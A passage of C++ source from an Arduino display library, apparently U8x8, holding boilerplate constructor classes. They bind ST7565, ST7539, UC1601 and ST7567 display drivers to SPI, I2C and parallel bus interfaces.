u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_NHD_C12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_NHD_C12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_NHD_C12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_NHD_C12864_6800 : public U8X8 { public: U8X8_ST7565_NHD_C12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_NHD_C12864_8080 : public U8X8 { public: U8X8_ST7565_NHD_C12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_JLX12864_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_JLX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_JLX12864_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_JLX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_JLX12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_JLX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_JLX12864_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_JLX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_JLX12864_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_JLX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_JLX12864_6800 : public U8X8 { public: U8X8_ST7565_JLX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_JLX12864_8080 : public U8X8 { public: U8X8_ST7565_JLX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_NHD_C12832_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12832_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_NHD_C12832_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12832_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_NHD_C12832_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12832_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_NHD_C12832_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12832_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_NHD_C12832_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_NHD_C12832_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_NHD_C12832_6800 : public U8X8 { public: U8X8_ST7565_NHD_C12832_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_NHD_C12832_8080 : public U8X8 { public: U8X8_ST7565_NHD_C12832_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12832, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7539_192X64_4W_SW_SPI : public U8X8 { public: U8X8_ST7539_192X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7539_192X64_4W_HW_SPI : public U8X8 { public: U8X8_ST7539_192X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7539_192X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7539_192X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7539_192X64_3W_SW_SPI : public U8X8 { public: U8X8_ST7539_192X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7539_192X64_3W_HW_SPI : public U8X8 { public: U8X8_ST7539_192X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7539_192X64_6800 : public U8X8 { public: U8X8_ST7539_192X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7539_192X64_8080 : public U8X8 { public: U8X8_ST7539_192X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7539_192X64_SW_I2C : public U8X8 { public: U8X8_ST7539_192X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7539_192X64_HW_I2C : public U8X8 { public: U8X8_ST7539_192X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7539_192X64_2ND_HW_I2C : public U8X8 { public: U8X8_ST7539_192X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7539_192x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1601_128X32_4W_SW_SPI : public U8X8 { public: U8X8_UC1601_128X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1601_128X32_4W_HW_SPI : public U8X8 { public: U8X8_UC1601_128X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1601_128X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1601_128X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1601_128X32_3W_SW_SPI : public U8X8 { public: U8X8_UC1601_128X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1601_128X32_3W_HW_SPI : public U8X8 { public: U8X8_UC1601_128X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1601_128X32_6800 : public U8X8 { public: U8X8_UC1601_128X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1601_128X32_8080 : public U8X8 { public: U8X8_UC1601_128X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1601_128X32_SW_I2C : public U8X8 { public: U8X8_UC1601_128X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1601_128X32_HW_I2C : public U8X8 { public: U8X8_UC1601_128X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1601_128X32_2ND_HW_I2C : public U8X8 { public: U8X8_UC1601_128X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x32, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1601_128X64_4W_SW_SPI : public U8X8 { public: U8X8_UC1601_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1601_128X64_4W_HW_SPI : public U8X8 { public: U8X8_UC1601_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1601_128X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1601_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1601_128X64_3W_SW_SPI : public U8X8 { public: U8X8_UC1601_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1601_128X64_3W_HW_SPI : public U8X8 { public: U8X8_UC1601_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1601_128X64_6800 : public U8X8 { public: U8X8_UC1601_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1601_128X64_8080 : public U8X8 { public: U8X8_UC1601_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1601_128X64_SW_I2C : public U8X8 { public: U8X8_UC1601_128X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1601_128X64_HW_I2C : public U8X8 { public: U8X8_UC1601_128X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1601_128X64_2ND_HW_I2C : public U8X8 { public: U8X8_UC1601_128X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1601_128x64, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7565_EA_DOGM132_4W_SW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM132_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM132_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM132_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM132_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM132_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM132_3W_SW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM132_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7565_EA_DOGM132_3W_HW_SPI : public U8X8 { public: U8X8_ST7565_EA_DOGM132_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7565_EA_DOGM132_6800 : public U8X8 { public: U8X8_ST7565_EA_DOGM132_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7565_EA_DOGM132_8080 : public U8X8 { public: U8X8_ST7565_EA_DOGM132_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm132, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_PI_132X64_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_PI_132X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_PI_132X64_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_PI_132X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_PI_132X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_PI_132X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_PI_132X64_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_PI_132X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_pi_132x64, 